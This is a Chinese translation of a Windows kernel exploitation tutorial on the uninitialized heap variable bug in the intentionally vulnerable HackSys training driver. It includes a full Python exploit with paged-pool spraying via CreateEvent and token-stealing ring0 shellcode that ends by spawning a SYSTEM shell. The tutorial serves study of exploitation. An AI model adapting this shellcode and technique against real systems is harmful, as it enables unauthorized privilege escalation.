Windows核心漏洞利用教程 第7部分:未初始化的堆變數

Editor發表於2018-04-13


前言


關於 windows 核心漏洞利用教程,玉涵已經將fuzzysecurity上的那部分翻譯完畢, 是很好的學習資料。 因為之前翻譯了池風水那篇文章,發現作者又接著更新了幾篇,所以就簡單地翻譯了一下本篇文章,學習一下。


概述


在上一篇文章中,我們研究了未初始化的棧變數漏洞。在這篇教程中,我們會討論類似的一個漏洞,未初始化的堆變數。在這篇教程,我們會修改分頁池,以便控制流可以指向我們的shellcode。


另外,對於hacksysteam的驅動程式表示萬分感謝!


分析


首先,我們先分析一下UninitializedHeapVariable.c檔案:


NTSTATUS TriggerUninitializedHeapVariable(IN PVOID UserBuffer) {
    ULONG_PTR UserValue = 0;
    ULONG_PTR MagicValue = 0xBAD0B0B0;
    NTSTATUS Status = STATUS_SUCCESS;
    PUNINITIALIZED_HEAP_VARIABLE UninitializedHeapVariable = NULL;

    PAGED_CODE();

    __try {
        // Verify if the buffer resides in user mode
        ProbeForRead(UserBuffer,
                     sizeof(UNINITIALIZED_HEAP_VARIABLE),
                     (ULONG)__alignof(UNINITIALIZED_HEAP_VARIABLE));

        // Allocate Pool chunk
        UninitializedHeapVariable = (PUNINITIALIZED_HEAP_VARIABLE)
                                     ExAllocatePoolWithTag(PagedPool,
                                                           sizeof(UNINITIALIZED_HEAP_VARIABLE),
                                                           (ULONG)POOL_TAG);

        if (!UninitializedHeapVariable) {
            // Unable to allocate Pool chunk
            DbgPrint("[-] Unable to allocate Pool chunk\n");

            Status = STATUS_NO_MEMORY;
            return Status;
        }
        else {
            DbgPrint("[+] Pool Tag: %s\n", STRINGIFY(POOL_TAG));
            DbgPrint("[+] Pool Type: %s\n", STRINGIFY(PagedPool));
            DbgPrint("[+] Pool Size: 0x%X\n", sizeof(UNINITIALIZED_HEAP_VARIABLE));
            DbgPrint("[+] Pool Chunk: 0x%p\n", UninitializedHeapVariable);
        }

        // 獲取使用者態傳進來的值
        UserValue = *(PULONG_PTR)UserBuffer;

        DbgPrint("[+] UserValue: 0x%p\n", UserValue);
        DbgPrint("[+] UninitializedHeapVariable Address: 0x%p\n", &UninitializedHeapVariable);

        // 驗證幻數值
        if (UserValue == MagicValue) {
            UninitializedHeapVariable->Value = UserValue;
            UninitializedHeapVariable->Callback = &UninitializedHeapVariableObjectCallback;

            // 使用`AAAAA...AA`填充快取區
            RtlFillMemory((PVOID)UninitializedHeapVariable->Buffer, sizeof(UninitializedHeapVariable->Buffer), 0x41);

            // Null 終止 char 緩衝區
            UninitializedHeapVariable->Buffer[(sizeof(UninitializedHeapVariable->Buffer) / sizeof(ULONG_PTR)) - 1] = '\0';
        }
#ifdef SECURE
        else {
            DbgPrint("[+] Freeing UninitializedHeapVariable Object\n");
            DbgPrint("[+] Pool Tag: %s\n", STRINGIFY(POOL_TAG));
            DbgPrint("[+] Pool Chunk: 0x%p\n", UninitializedHeapVariable);

            // 釋放分配的 Pool chunk
            ExFreePoolWithTag((PVOID)UninitializedHeapVariable, (ULONG)POOL_TAG);

            // 安全提醒: 因為開發者將`UninitializedHeapVariable`的值設為`NULL`,並且在呼叫`callback`前檢查空指標,所以是安全的。

            // 設為空以避免懸掛指標
            UninitializedHeapVariable = NULL;
        }
#else
            // 漏洞提醒: 因為開發者在呼叫`callback`函式前,沒有初始化指標的值,所以會導致一個未初始化的堆變數漏洞。
            DbgPrint("[+] Triggering Uninitialized Heap Variable Vulnerability\n");
#endif

        // 呼叫`callback`函式
        if (UninitializedHeapVariable) {
            DbgPrint("[+] UninitializedHeapVariable->Value: 0x%p\n", UninitializedHeapVariable->Value);
            DbgPrint("[+] UninitializedHeapVariable->Callback: 0x%p\n", UninitializedHeapVariable->Callback);

            UninitializedHeapVariable->Callback();
        }
    }
    __except (EXCEPTION_EXECUTE_HANDLER) {
        Status = GetExceptionCode();
        DbgPrint("[-] Exception Code: 0x%X\n", Status);
    }

    return Status;
}

程式碼雖然看著比較長,但是還是容易理解的。使用pool chunk的 地址初始化 變數UninitializedHeapVariable,如果UserValue等於Magic的話,那麼一切都沒有問題,value和callback欄位也可以被正確地初始化,然後程式在呼叫callback函式前會檢查變數是否被初始化。但是,如果不相等的話會怎麼樣呢?從程式碼來看,很明顯編譯的是SECURE版本, 變數UninitializedHeapVariable會被置為NULL, 所以在if宣告中,不會呼叫callback函式。而如果是編譯為不安全版本的話,則沒有類似這樣的檢查措施,然後會callback未初始化的變數,從而導致出現漏洞。


(譯註:secure 編譯相關的一些選項問題,可以參見微軟的官方文件)


接著,我們來看一下在UninitializedHeapVariable.h中_UNINITIALIZED_HEAP_VARIABLE結構體是如何定義的:


typedef struct _UNINITIALIZED_HEAP_VARIABLE {
        ULONG_PTR Value;
        FunctionPointer Callback;
        ULONG_PTR Buffer[58];
} UNINITIALIZED_HEAP_VARIABLE, *PUNINITIALIZED_HEAP_VARIABLE;


可以看到,上面的結構體中定義了3個成員變數,第二個是一個函式指標型別的變數,命名為callback,如果我們能想方設法地控制pool chunk上的資料的話,我們就能夠控制UninitializedHeapVariable結構體和callback函式。


可以在IDA中清楚地看到:


Windows核心漏洞利用教程 第7部分:未初始化的堆變數

並且,IOCTL號為0x222033。


利用


和前幾篇一樣,繼續使用我們的指令碼框架:


import ctypes, sys, struct
from ctypes import *
from subprocess import *

def main():
    kernel32 = windll.kernel32
    psapi = windll.Psapi
    ntdll = windll.ntdll
    hevDevice = kernel32.CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver", 0xC0000000, 0, None, 0x3, 0, None)

    if not hevDevice or hevDevice == -1:
        print "*** Couldn't get Device Driver handle"
        sys.exit(-1)

    buf = "\xb0\xb0\xd0\xba"
    bufLength = len(buf)

    kernel32.DeviceIoControl(hevDevice, 0x222033, buf, bufLength, None, 0, byref(c_ulong()), None)

if __name__ == "__main__":
    main()


Windows核心漏洞利用教程 第7部分:未初始化的堆變數


成功傳遞引數,沒有發生異常,我們試下傳遞一些其他的UserValue,看看會發生什麼。


Windows核心漏洞利用教程 第7部分:未初始化的堆變數


可以看到出現了異常,並且Callback函式的地址似乎並非一個有效值,現在可以開始寫exploit了。


這裡最大的問題就是通過使用者空間可以控制的資料來修改分頁池,而我們可以使用的一個介面是Named Objects。如果你記得以前那篇關於池風水文章的話,就會想起我們曾使用[CreateEvent](https://msdn.microsoft.com/pl-pl/library/windows/desktop/ms682396(v=vs.85).aspx)物件來修改Lookaside連結串列:


HANDLE WINAPI CreateEvent(
  _In_opt_ LPSECURITY_ATTRIBUTES lpEventAttributes,
  _In_     BOOL                  bManualReset,
  _In_     BOOL                  bInitialState,
  _In_opt_ LPCTSTR               lpName
);


這裡最重要的一點是,即使event物件本身被分配給非分頁池,最後那個LPCTSTR型別的引數lpName實際上也是在分頁池中分配的。並且,我們實際上可以定義它的內容和長度。


這裡還有幾點需要注意:


我們修改 的Lookaside連結串列會在系統啟動兩分鐘後延遲啟用。
(譯註:原文為:We’d be grooming the Lookaside list, which are lazy activated only two minutes after the boot.
不過,我沒太理解這是什麼意思,希望懂的大神給解釋下。)


Lookaside連結串列的最大塊長是 0x20, 它只能管理256 個塊,之外的塊由ListHead負責管理。


我們需要分配256個相同大小的物件,然後釋放它們。如果Lookaside連結串列不能完成分配的話,會從ListHead連結串列中接著分配。


我們需要確保每次呼叫物件建構函式時物件名稱的字串都是隨機的,因為如果將相同的字串傳遞給物件建構函式的連續呼叫的話,那麼只有一個Pool chuck將被用於所有進一步的請求。


我們還需要確保我們的lpName不應該包含任何NULL字元,因為這會改變lpName的長度,導致exploit利用失敗。


我們給lpName分配 0xF0 的大小, 頭部大小為 0x8 ,一共是0xF8 位元組的塊,shellcode來源於之前的教程中。


我們最終的exploit 如下:

import ctypes, sys, struct
from ctypes import *
from subprocess import *

def main():
    spray_event = []
    kernel32 = windll.kernel32
    psapi = windll.Psapi
    ntdll = windll.ntdll
    hevDevice = kernel32.CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver", 0xC0000000, 0, None, 0x3, 0, None)

    if not hevDevice or hevDevice == -1:
        print "*** Couldn't get Device Driver handle"
        sys.exit(-1)

    # 定義 ring0級的 shellcode, 使用 VirtualProtect() 函式 該表記憶體區域屬性。c
    # 地址中不能包含Null 字元,否則exp 會失效。 

    shellcode = (
        "\x90\x90\x90\x90"              # NOP Sled
        "\x60"                          # pushad
        "\x64\xA1\x24\x01\x00\x00"      # mov eax, fs:[KTHREAD_OFFSET]
        "\x8B\x40\x50"                  # mov eax, [eax + EPROCESS_OFFSET]
        "\x89\xC1"                      # mov ecx, eax (Current _EPROCESS structure)
        "\x8B\x98\xF8\x00\x00\x00"      # mov ebx, [eax + TOKEN_OFFSET]
        "\xBA\x04\x00\x00\x00"          # mov edx, 4 (SYSTEM PID)
        "\x8B\x80\xB8\x00\x00\x00"      # mov eax, [eax + FLINK_OFFSET]
        "\x2D\xB8\x00\x00\x00"          # sub eax, FLINK_OFFSET
        "\x39\x90\xB4\x00\x00\x00"      # cmp [eax + PID_OFFSET], edx
        "\x75\xED"                      # jnz
        "\x8B\x90\xF8\x00\x00\x00"      # mov edx, [eax + TOKEN_OFFSET]
        "\x89\x91\xF8\x00\x00\x00"      # mov [ecx + TOKEN_OFFSET], edx
        "\x61"                          # popad
        "\xC3"                          # ret
    )

    shellcode_address = id(shellcode) + 20
    shellcode_address_struct = struct.pack("<L", shellcode_address)
    print "[+] Pointer for ring0 shellcode: {0}".format(hex(shellcode_address))
    success = kernel32.VirtualProtect(shellcode_address, c_int(len(shellcode)), c_int(0x40), byref(c_long()))
    if success == 0x0:
        print "\t[+] Failed to change memory protection."
        sys.exit(-1)

    #定義 lpName 的靜態部分, 大小為 0xF0, 根據 shellcode 的 地址 和 動態部分作出調整。

    static_lpName = "\x41\x41\x41\x41" + shellcode_address_struct + "\x42" * (0xF0-4-8-4)

    # 分配 256 個 相同大小的 CreateEvent 物件

    print "\n[+] Spraying Event Objects..."

    for i in xrange(256):
        dynamic_lpName = str(i).zfill(4)
        spray_event.append(kernel32.CreateEventW(None, True, False, c_char_p(static_lpName+dynamic_lpName)))
        if not spray_event[i]:
            print "\t[+] Failed to allocate Event object."
            sys.exit(-1)

    # 釋放 CreateEvent 物件

    print "\n[+] Freeing Event Objects..."

    for i in xrange(0, len(spray_event), 1):
        if not kernel32.CloseHandle(spray_event[i]):
            print "\t[+] Failed to close Event object."
            sys.exit(-1)

    buf = '\x37\x13\xd3\xba'
    bufLength = len(buf)

    kernel32.DeviceIoControl(hevDevice, 0x222033, buf, bufLength, None, 0, byref(c_ulong()), None)

    print "\n[+] nt authority\system shell incoming"
    Popen("start cmd", shell=True)

if __name__ == "__main__":
    main()

Windows核心漏洞利用教程 第7部分:未初始化的堆變數


Windows核心漏洞利用教程 第7部分:未初始化的堆變數


最終獲得系統管理員許可權:


Windows核心漏洞利用教程 第7部分:未初始化的堆變數



原文連結:https://rootkits.xyz/blog/2018/03/kernel-uninitialized-heap-variable/

本文由看雪翻譯小組 fyb波 編譯

相關文章